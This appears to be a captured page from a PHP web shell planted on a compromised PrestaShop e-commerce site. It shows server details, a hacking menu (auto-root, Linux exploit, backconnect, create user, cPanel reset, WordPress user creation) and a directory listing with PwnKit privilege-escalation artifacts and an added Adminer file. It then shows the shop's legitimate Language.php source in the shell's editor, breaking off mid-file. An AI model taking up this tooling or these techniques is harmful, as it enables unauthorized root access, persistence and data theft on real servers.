Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Language.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use PrestaShop\PrestaShop\Adapter\Language\LanguageImageManager; use PrestaShop\PrestaShop\Adapter\SymfonyContainer; use PrestaShop\PrestaShop\Core\Addon\Theme\ThemeManagerBuilder; use PrestaShop\PrestaShop\Core\CommandBus\CommandBusInterface; use PrestaShop\PrestaShop\Core\Domain\MailTemplate\Command\GenerateThemeMailTemplatesCommand; use PrestaShop\PrestaShop\Core\Exception\CoreException; use PrestaShop\PrestaShop\Core\Language\LanguageInterface; use PrestaShop\PrestaShop\Core\Localization\CLDR\LocaleRepository; use PrestaShop\PrestaShop\Core\Localization\RTL\Processor as RtlStylesheetProcessor; use PrestaShopBundle\Translation\TranslatorLanguageLoader; class LanguageCore extends ObjectModel implements LanguageInterface { const ALL_LANGUAGES_FILE = '/app/Resources/all_languages.json'; const SF_LANGUAGE_PACK_URL = 'https://i18n.prestashop.com/translations/%version%/%locale%/%locale%.zip'; const EMAILS_LANGUAGE_PACK_URL = 'https://i18n.prestashop.com/mails/%version%/%locale%/%locale%.zip'; /** * Timeout for downloading a translation pack, in seconds */ const PACK_DOWNLOAD_TIMEOUT = 20; public $id; /** @var string Name */ public $name; /** @var string 2-letter iso code */ public $iso_code; /** @var string 5-letter iso code */ public $locale; /** @var string 5-letter iso code */ public $language_code; /** @var string date format http://http://php.net/manual/en/function.date.php with the date only */ public $date_format_lite = 'Y-m-d'; /** @var string date format http://http://php.net/manual/en/function.date.php with hours and minutes */ public $date_format_full = 'Y-m-d H:i:s'; /** @var bool true if this language is right to left language */ public $is_rtl = false; /** @var bool Status */ public $active = true; protected static $_cache_language_installation = null; protected static $_cache_language_installation_by_locale = null; protected static $_cache_all_language_json = null; public static $locale_crowdin_lang = 'en-UD'; /** * @see ObjectModel::$definition */ public static $definition = [ 'table' => 'lang', 'primary' => 'id_lang', 'fields' => [ 'name' => ['type' => self::TYPE_STRING, 'validate' => 'isGenericName', 'required' => true, 'size' => 32], 'iso_code' => ['type' => self::TYPE_STRING, 'validate' => 'isLanguageIsoCode', 'required' => true, 'size' => 2], 'locale' => ['type' => self::TYPE_STRING, 'validate' => 'isLocale', 'size' => 5], 'language_code' => ['type' => self::TYPE_STRING, 'validate' => 'isLanguageCode', 'size' => 5], 'active' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'is_rtl' => ['type' => self::TYPE_BOOL, 'validate' => 'isBool'], 'date_format_lite' => ['type' => self::TYPE_STRING, 'validate' => 'isPhpDateFormat', 'required' => true, 'size' => 32], 'date_format_full' => ['type' => self::TYPE_STRING, 'validate' => 'isPhpDateFormat', 'required' => true, 'size' => 32], ], ]; /** @var array Languages cache */ protected static $_checkedLangs; /** * @var array[] language information, indexed by id_language * * @see loadLanguages() */ protected static $_LANGUAGES; protected static $countActiveLanguages = []; protected $webserviceParameters = [ 'objectNodeName' => 'language', 'objectsNodeName' => 'languages', ]; protected $translationsFilesAndVars = [ 'fields' => '_FIELDS', 'errors' => '_ERRORS', 'admin' => '_LANGADM', 'pdf' => '_LANGPDF', 'tabs' => 'tabs', ]; public static function resetCache() { self::$_checkedLangs = null; self::$_LANGUAGES = null; self::$countActiveLanguages = null; self::$_cache_language_installation = null; self::$_cache_language_installation_by_locale = null; self::$_cache_all_language_json = null; } /** * {@inheritdoc} */ public function getFields() { $this->iso_code = strtolower($this->iso_code); if (empty($this->language_code)) { $this->language_code = $this->iso_code; } return parent::getFields(); } /** * Move translations files after editing language iso code. */ public function moveToIso($newIso) { if ($newIso == $this->iso_code) { return true; } if (file_exists(_PS_TRANSLATIONS_DIR_ . $this->iso_code)) { rename(_PS_TRANSLATIONS_DIR_ . $this->iso_code, _PS_TRANSLATIONS_DIR_ . $newIso); } if (file_exists(_PS_MAIL_DIR_ . $this->iso_code)) { rename(_PS_MAIL_DIR_ . $this->iso_code, _PS_MAIL_DIR_ . $newIso); } $modulesList = Module::getModulesDirOnDisk(); foreach ($modulesList as $moduleDir) { if (file_exists(_PS_MODULE_DIR_ . $moduleDir . '/mails/' . $this->iso_code)) { rename(_PS_MODULE_DIR_ . $moduleDir . '/mails/' . $this->iso_code, _PS_MODULE_DIR_ . $moduleDir . '/mails/' . $newIso); } if (file_exists(_PS_MODULE_DIR_ . $moduleDir . '/' . $this->iso_code . '.php')) { rename(_PS_MODULE_DIR_ . $moduleDir . '/' . $this->iso_code . '.php', _PS_MODULE_DIR_ . $moduleDir . '/' . $newIso . '.php'); } } $themes = (new ThemeManagerBuilder(Context::getContext(), Db::getInstance())) ->buildRepository() ->getList(); foreach ($themes as $theme) { /** @var Theme $theme */ $theme_dir = $theme->getDirectory(); if (file_exists(_PS_ALL_THEMES_DIR_ . $theme_dir . '/lang/' . $this->iso_code . '.php')) { rename(_PS_ALL_THEMES_DIR_ . $theme_dir . '/lang/' . $this->iso_code . '.php', _PS_ALL_THEMES_DIR_ . $theme_dir . '/lang/' . $newIso . '.php'); } if (file_exists(_PS_ALL_THEMES_DIR_ . $theme_dir . '/mails/' . $this->iso_code)) { rename(_PS_ALL_THEMES_DIR_ . $theme_dir . '/mails/' . $this->iso_code, _PS_ALL_THEMES_DIR_ . $theme_dir . '/mails/' . $newIso); } foreach ($modulesList as $module) { if (file_exists(_PS_ALL_THEMES_DIR_ . $theme_dir . '/modules/' . $module . '/' . $this->iso_code . '.php')) { rename(_PS_ALL_THEMES_DIR_ . $theme_dir . '/modules/' . $module . '/' . $this->iso_code . '.php', _PS_ALL_THEMES_DIR_ . $theme_dir . '/modules/' . $module . '/' . $newIso . '.php'); } } } } /** * {@inheritdoc} */ public function add($autodate = true, $nullValues = false, $only_add = false) { if (!parent::add($autodate, $nullValues)) { return false; } if ($this->is_rtl) { self::getRtlStylesheetProcessor() ->setIsInstall(defined('PS_INSTALLATION_IN_PROGRESS')) ->setProcessBOTheme(true) ->setProcessDefaultModules(true) ->process(); } if ($only_add) { return true; } // @todo Since a lot of modules are not in right format with their primary keys name, just get true ... $this->loadUpdateSQL(); return true; } /** * {@inheritdoc} */ public function update($nullValues = false) { if (!parent::update($nullValues)) { return false; } // Generate RTL stylesheets if language is_rtl parameter changes if ($this->is_rtl) { self::getRtlStylesheetProcessor() ->setProcessBOTheme(true) ->setProcessDefaultModules(true) ->process(); } return true; } /** * Checks if every files exists for this language * * @see checkFilesWithIsoCode() * * @return bool */ public function checkFiles() { return Language::checkFilesWithIsoCode($this->iso_code); } /** * This functions checks if every files exists for the language $iso_code. * Concerned files are those located in translations/$iso_code/ * and translations/mails/$iso_code . * * @param string $iso_code 2-letter ISO code * * @return bool True if all files exists */ public static function checkFilesWithIsoCode($iso_code) { if (isset(self::$_checkedLangs[$iso_code]) && self::$_checkedLangs[$iso_code]) { return true; } foreach (array_keys(Language::getFilesList($iso_code, _THEME_NAME_, false, false, false, true)) as $key) { if (!file_exists($key)) { return false; } } self::$_checkedLangs[$iso_code] = true; return true; } /** * @param string $iso_from * @param string $theme_from * @param bool $iso_to * @param bool $theme_to * @param bool $select * @param bool $check * @param bool $modules * * @return string[] * * @throws PrestaShopException */ public static function getFilesList($iso_from, $theme_from, $iso_to = false, $theme_to = false, $select = false, $check = false, $modules = false) { if (empty($iso_from)) { die(Tools::displayError()); } $copy = ($iso_to && $theme_to) ? true : false; $lPath_from = _PS_TRANSLATIONS_DIR_ . (string) $iso_from . '/'; $tPath_from = _PS_ROOT_DIR_ . '/themes/' . (string) $theme_from . '/'; $pPath_from = _PS_ROOT_DIR_ . '/themes/' . (string) $theme_from . '/pdf/'; $mPath_from = _PS_MAIL_DIR_ . (string) $iso_from . '/'; if ($copy) { $lPath_to = _PS_TRANSLATIONS_DIR_ . (string) $iso_to . '/'; $tPath_to = _PS_ROOT_DIR_ . '/themes/' . (string) $theme_to . '/'; $pPath_to = _PS_ROOT_DIR_ . '/themes/' . (string) $theme_to . '/pdf/'; $mPath_to = _PS_MAIL_DIR_ . (string) $iso_to . '/'; } $lFiles = ['admin.php', 'errors.php', 'fields.php', 'pdf.php', 'tabs.php']; // Added natives mails files $mFiles = [ 'account.html', 'account.txt', 'backoffice_order.html', 'backoffice_order.txt', 'bankwire.html', 'bankwire.txt', 'cheque.html', 'cheque.txt', 'contact.html', 'contact.txt', 'contact_form.html', 'contact_form.txt', 'credit_slip.html', 'credit_slip.txt', 'download_product.html', 'download_product.txt', 'employee_password.html', 'employee_password.txt', 'forward_msg.html', 'forward_msg.txt', 'guest_to_customer.html', 'guest_to_customer.txt', 'import.html', 'import.txt', 'in_transit.html', 'in_transit.txt', 'log_alert.html', 'log_alert.txt', 'newsletter.html', 'newsletter.txt', 'order_canceled.html', 'order_canceled.txt', 'order_changed.html', 'order_changed.txt', 'order_conf.html', 'order_conf.txt', 'order_customer_comment.html', 'order_customer_comment.txt', 'order_merchant_comment.html', 'order_merchant_comment.txt', 'order_return_state.html', 'order_return_state.txt', 'outofstock.html', 'outofstock.txt', 'password.html', 'password.txt', 'password_query.html', 'password_query.txt', 'payment.html', 'payment.txt', 'payment_error.html', 'payment_error.txt', 'preparation.html', 'preparation.txt', 'refund.html', 'refund.txt', 'reply_msg.html', 'reply_msg.txt', 'shipped.html', 'shipped.txt', 'test.html', 'test.txt', 'voucher.html', 'voucher.txt', 'voucher_new.html', 'voucher_new.txt', ]; $number = -1; $files = []; $files_tr = []; $files_theme = []; $files_mail = []; $files_modules = []; // When a copy is made from a theme in specific language // to an other theme for the same language, // it's avoid to copy Translations, Mails files // and modules files which are not override by theme. if (!$copy || $iso_from != $iso_to) { // Translations files if (!$check || ($check && (string) $iso_from != 'en')) { foreach ($lFiles as $file) { $files_tr[$lPath_from . $file] = ($copy ? $lPath_to . $file : ++$number); } } if ($select == 'tr') { return $files_tr; } $files = array_merge($files, $files_tr); // Mail files if (!$check || ($check && (string) $iso_from != 'en')) { $files_mail[$mPath_from . 'lang.php'] = ($copy ? $mPath_to . 'lang.php' : ++$number); } foreach ($mFiles as $file) { $files_mail[$mPath_from . $file] = ($copy ? $mPath_to . $file : ++$number); } if ($select == 'mail') { return $files_mail; } $files = array_merge($files, $files_mail); // Modules if ($modules) { $modList = Module::getModulesDirOnDisk(); foreach ($modList as $mod) { $modDir = _PS_MODULE_DIR_ . $mod; // Lang file if (file_exists($modDir . '/translations/' . (string) $iso_from . '.php')) { $files_modules[$modDir . '/translations/' . (string) $iso_from . '.php'] = ($copy ? $modDir . '/translations/' . (string) $iso_to . '.php' : ++$number); } elseif (file_exists($modDir . '/' . (string) $iso_from . '.php')) { $files_modules[$modDir . '/' . (string) $iso_from . '.php'] = ($copy ? $modDir . '/' . (string) $iso_to . '.php' : ++$number); } // Mails files $modMailDirFrom = $modDir . '/mails/' . (string) $iso_from; $modMailDirTo = $modDir . '/mails/' . (string) $iso_to; if (file_exists($modMailDirFrom)) { $dirFiles = scandir($modMailDirFrom, SCANDIR_SORT_NONE); foreach ($dirFiles as $file) { if (file_exists($modMailDirFrom . '/' . $file) && $file != '.' && $file != '..' && $file != '.svn') { $files_modules[$modMailDirFrom . '/' . $file] = ($copy ? $modMailDirTo . '/' . $file : ++$number); } } } } if ($select == 'modules') { return $files_modules; } $files = array_merge($files, $files_modules); } } elseif ($select == 'mail' || $select == 'tr') { return $files; } // Theme files if (!$check || ($check && (string) $iso_from != 'en')) { $files_theme[$tPath_from . 'lang/' . (string) $iso_from . '.php'] = ($copy ? $tPath_to . 'lang/' . (string) $iso_to . '.php' : ++$number); // Override for pdf files in the theme if (file_exists($pPath_from . 'lang/' . (string) $iso_from . '.php')) { $files_theme[$pPath_from . 'lang/' . (string) $iso_from . '.php'] = ($copy ? $pPath_to . 'lang/' . (string) $iso_to . '.php' : ++$number); } $module_theme_files = (file_exists($tPath_from . 'modules/') ? scandir($tPath_from . 'modules/', SCANDIR_SORT_NONE) : []); foreach ($module_theme_files as $module) { if ($module !== '.' && $module != '..' && $module !== '.svn' && file_exists($tPath_from . 'modules/' . $module . '/translations/' . (string) $iso_from . '.php')) { $files_theme[$tPath_from . 'modules/' . $module . '/translations/' . (string) $iso_from . '.php'] = ($copy ? $tPath_to . 'modules/' . $module . '/translations/' . (string) $iso_to . '.php' : ++$number); } } } if ($select == 'theme') { return $files_theme; } $files = array_merge($files, $files_theme); // Return return $files; } /** * loadUpdateSQL will create default lang values when you create a new lang, based on current lang id. * * @return bool True if success */ public function loadUpdateSQL() { $tables = Db::getInstance()->executeS('SHOW TABLES LIKE \'' . str_replace('_', '\\_', _DB_PREFIX_) . '%\_lang\' '); $langTables = []; foreach ($tables as $table) { foreach ($table as $t) { $langTables[] = $t; } } $return = true; /** @var Shop[] $shops */ $shops = Shop::getShopsCollection(false); foreach ($shops as $shop) { // retrieve default language to duplicate database rows // this language is used later to untranslate/retranslate rows $shopDefaultLangId = Configuration::get('PS_LANG_DEFAULT', null, $shop->id_shop_group, $shop->id); foreach ($langTables as $name) { $return &= $this->duplicateRowsFromDefaultShopLang($name, $shopDefaultLangId, $shop->id); } } return $return; } /** * duplicate translated rows from xxx_lang tables * from the shop default language. * * @param $tableName * @param $shopDefaultLangId * @param $shopId * * @return bool * * @throws \PrestaShopDatabaseException */ private function duplicateRowsFromDefaultShopLang($tableName, $shopDefaultLangId, $shopId) { preg_match('#^' . preg_quote(_DB_PREFIX_) . '(.+)_lang$#i', $tableName, $m); $identifier = 'id_' . $m[1]; $fields = []; // We will check if the table contains a column "id_shop" // If yes, we will add "id_shop" as a WHERE condition in queries copying data from default language $shop_field_exists = $primary_key_exists = false; $columns = Db::getInstance()->executeS('SHOW COLUMNS FROM `' . $tableName . '`'); foreach ($columns as $column) { $fields[] = '`' . $column['Field'] . '`'; if ($column['Field'] == 'id_shop') { $shop_field_exists = true; } if ($column['Field'] == $identifier) { $primary_key_exists = true; } } $fields = implode(',', $fields); if (!$primary_key_exists) { return true; } $sql = 'INSERT IGNORE INTO `' . $tableName . '` (' . $fields . ') (SELECT '; // For each column, copy data from default language reset($columns); $selectQueries = []; foreach ($columns as $column) { if ($identifier != $column['Field'] && $column['Field'] != 'id_lang') { $selectQueries[] = '( SELECT `' . bqSQL($column['Field']) . '` FROM `' . bqSQL($tableName) . '` tl WHERE tl.`id_lang` = ' . (int) $shopDefaultLangId . ' ' . ($shop_field_exists ? ' AND tl.`id_shop` = ' . (int) $shopId : '') . ' AND tl.`' . bqSQL($identifier) . '` = `' . bqSQL(str_replace('_lang', '', $tableName)) . '`.`' . bqSQL($identifier) . '` )'; } else { $selectQueries[] = '`' . bqSQL($column['Field']) . '`'; } } $sql .= implode(',', $selectQueries); $sql .= ' FROM `' . _DB_PREFIX_ . 'lang` CROSS JOIN `' . bqSQL(str_replace('_lang', '', $tableName)) . '` '; // prevent insert with where initial data exists $sql .= ' WHERE `' . bqSQL($identifier) . '` IN (SELECT `' . bqSQL($identifier) . '` FROM `' . bqSQL($tableName) . '`) )'; return Db::getInstance()->execute($sql); } /** * @deprecated 1.6.1.1 Use Tools::deleteDirectory($dir) instead * * @param string $dir is the path of the directory to delete */ public static function recurseDeleteDir($dir) { return Tools::deleteDirectory($dir); } /** * {@inheritdoc} */ public function delete() { if (!$this->hasMultishopEntries() || Shop::getContext() == Shop::CONTEXT_ALL) { if (empty($this->iso_code)) { $this->iso_code = Language::getIsoById($this->id); } // Database translations deletion $result = Db::getInstance()->executeS('SHOW TABLES FROM `' . _DB_NAME_ . '`'); $tableNameKey = 'Tables_in_' . _DB_NAME_; foreach ($result as $row) { if (isset($row[$tableNameKey]) && !empty($row[$tableNameKey]) && preg_match('/_lang$/', $row[$tableNameKey])) { if (!Db::getInstance()->execute('DELETE FROM `' . $row[$tableNameKey] . '` WHERE `id_lang` = ' . (int) $this->id)) { return false; } } } // Delete tags Db::getInstance()->execute('DELETE FROM ' . _DB_PREFIX_ . 'tag WHERE id_lang = ' . (int) $this->id); // Delete search words Db::getInstance()->execute('DELETE FROM ' . _DB_PREFIX_ . 'search_word WHERE id_lang = ' . (int) $this->id); // Files deletion foreach (Language::getFilesList($this->iso_code, _THEME_NAME_, false, false, false, true, true) as $key => $file) { if (file_exists($key)) { unlink($key); } } $modList = scandir(_PS_MODULE_DIR_, SCANDIR_SORT_NONE); foreach ($modList as $mod) { Tools::deleteDirectory(_PS_MODULE_DIR_ . $mod . '/mails/' . $this->iso_code); $files = @scandir(_PS_MODULE_DIR_ . $mod . '/mails/', SCANDIR_SORT_NONE); if (is_array($files) && count($files) <= 2) { Tools::deleteDirectory(_PS_MODULE_DIR_ . $mod . '/mails/'); } if (file_exists(_PS_MODULE_DIR_ . $mod . '/' . $this->iso_code . '.php')) { unlink(_PS_MODULE_DIR_ . $mod . '/' . $this->iso_code . '.php'); $files = @scandir(_PS_MODULE_DIR_ . $mod, SCANDIR_SORT_NONE); if (count($files) <= 2) { Tools::deleteDirectory(_PS_MODULE_DIR_ . $mod); } } } if (file_exists(_PS_MAIL_DIR_ . $this->iso_code)) { Tools::deleteDirectory(_PS_MAIL_DIR_ . $this->iso_code); } if (file_exists(_PS_TRANSLATIONS_DIR_ . $this->iso_code)) { Tools::deleteDirectory(_PS_TRANSLATIONS_DIR_ . $this->iso_code); } (new LanguageImageManager())->deleteImages($this->id, $this->iso_code); } if (!parent::delete()) { return false; } return true; } /** * {@inheritdoc} */ public function deleteSelection($selection) { if (!is_array($selection)) { die(Tools::displayError()); } $result = true; foreach ($selection as $id) { $language = new Language($id); $result = $result && $language->delete(); } return $result; } /** * Returns installed languages. * * @see loadLanguages() * * @param bool $active Select only active languages * @param int|false $id_shop Shop ID * @param bool $ids_only If true, returns an array of language IDs * * @return array[] Language information */ public static function getLanguages($active = true, $id_shop = false, $ids_only = false) { if (!self::$_LANGUAGES) { Language::loadLanguages(); } $languages = []; foreach (self::$_LANGUAGES as $language) { if ($active && !$language['active'] || ($id_shop && !isset($language['shops'][(int) $id_shop])) || self::$locale_crowdin_lang === $language['locale']) { continue; } $languages[] = $ids_only ? $language['id_lang'] : $language; } return $languages; } /** * Returns an array of installed language IDs. * * @param bool $active Select only active languages * @param int|false $id_shop Shop ID * * @return array */ public static function getIDs($active = true, $id_shop = false) { return self::getLanguages($active, $id_shop, true); } /** * Returns installed language information for the provided id_lang * * @param int $id_lang Language Id * * @return array|false */ public static function getLanguage($id_lang) { if (!self::$_LANGUAGES) { Language::loadLanguages(); } if (!array_key_exists((int) $id_lang, self::$_LANGUAGES)) { return false; } return self::$_LANGUAGES[(int) ($id_lang)]; } /** * Return iso code from id (installed languages only). * * @param int $id_lang Language ID * * @return string 2-letter ISO code */ public static function getIsoById($id_lang) { if (!self::$_LANGUAGES) { Language::loadLanguages(); } if (isset(self::$_LANGUAGES[(int) $id_lang]['iso_code'])) { return self::$_LANGUAGES[(int) $id_lang]['iso_code']; } return false; } /** * Returns language information form the all_languages file using IETF language tag * * @param string $locale IETF language tag * * @return array|false * * @throws Exception */ public static function getJsonLanguageDetails($locale) { if (self::$_cache_all_language_json === null) { self::$_cache_all_language_json = []; $allLanguages = file_get_contents(_PS_ROOT_DIR_ . self::ALL_LANGUAGES_FILE); $allLanguages = json_decode($allLanguages, true); if (JSON_ERROR_NONE !== json_last_error()) { throw new Exception(sprintf('The legacy to standard locales JSON could not be decoded %s', json_last_error_msg())); } foreach ($allLanguages as $isoCode => $langDetails) { self::$_cache_all_language_json[$langDetails['locale']] = $langDetails; } } return isset(self::$_cache_all_language_json[$locale]) ? self::$_cache_all_language_json[$locale] : false; } /** * Returns language id from iso code. * * @param string $iso_code Iso code * @param bool $no_cache * * @return int|false|null */ public static function getIdByIso($iso_code, $no_cache = false) { if (!Validate::isLanguageIsoCode($iso_code)) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('Fatal error: ISO code is not correct', [], 'Admin.International.Notification') . ' ' . Tools::safeOutput($iso_code))); } $key = 'Language::getIdByIso_' . $iso_code; if ($no_cache || !Cache::isStored($key)) { $id_lang = Db::getInstance()->getValue('SELECT `id_lang` FROM `' . _DB_PREFIX_ . 'lang` WHERE `iso_code` = \'' . pSQL(strtolower($iso_code)) . '\''); if (empty($id_lang)) { return null; } Cache::store($key, $id_lang); return (int) $id_lang; } return (int) Cache::retrieve($key); } /** * Returns language id from locale * * @param string $locale Locale IETF language tag * @param bool $noCache * * @return int|false|null */ public static function getIdByLocale($locale, $noCache = false) { $key = 'Language::getIdByLocale_' . $locale; if ($noCache || !Cache::isStored($key)) { $idLang = Db::getInstance() ->getValue( 'SELECT `id_lang` FROM `' . _DB_PREFIX_ . 'lang` WHERE `locale` = \'' . pSQL(strtolower($locale)) . '\' OR `language_code` = \'' . pSQL(strtolower($locale)) . '\'' ); Cache::store($key, $idLang); return $idLang; } return Cache::retrieve($key); } /** * Returns language information from the all-languages file * * @param string $iso 2-letter ISO code * * @return array|false * * @throws Exception */ public static function getLangDetails($iso) { $iso = (string) $iso; // $iso often comes from xml and is a SimpleXMLElement $allLanguages = file_get_contents(_PS_ROOT_DIR_ . self::ALL_LANGUAGES_FILE); $allLanguages = json_decode($allLanguages, true); if (JSON_ERROR_NONE !== json_last_error()) { throw new Exception(sprintf('The legacy to standard locales JSON could not be decoded %s', json_last_error_msg())); } return isset($allLanguages[$iso]) ? $allLanguages[$iso] : false; } /** * Returns locale with iso parameter. * * @param string $isoCode 2-letter ISO code * * @return string|false * * @throws Exception */ public static function getLocaleByIso($isoCode) { if (!Validate::isLanguageIsoCode($isoCode)) { throw new Exception('The ISO code ' . $isoCode . ' is invalid'); } if ($details = self::getLangDetails($isoCode)) { return $details['locale']; } return false; } /** * Returns iso with locale parameter. * * @param string $locale * * @return string|false * * @throws Exception */ public static function getIsoByLocale($locale) { if (!Validate::isLanguageCode($locale)) { throw new Exception('The locale ' . $locale . ' is invalid'); } if ($details = self::getJsonLanguageDetails($locale)) { return $details['iso_code']; } return false; } /** * Retrieves a language code from an installed language using a 2-letter iso code * * @param string $iso_code 2-letter iso code * * @return string|false * * @throws PrestaShopException */ public static function getLanguageCodeByIso($iso_code) { if (!Validate::isLanguageIsoCode($iso_code)) { die(Tools::displayError(Context::getContext()->getTranslator()->trans('Fatal error: ISO code is not correct', [], 'Admin.International.Notification') . ' ' . Tools::safeOutput($iso_code))); } return Db::getInstance()->getValue('SELECT `language_code` FROM `' . _DB_PREFIX_ . 'lang` WHERE `iso_code` = \'' . pSQL(strtolower($iso_code)) . '\''); } /** * Retrieves an installed language by IETF language tag * * @param string $code IETF language tag * * @return Language|false * * @throws 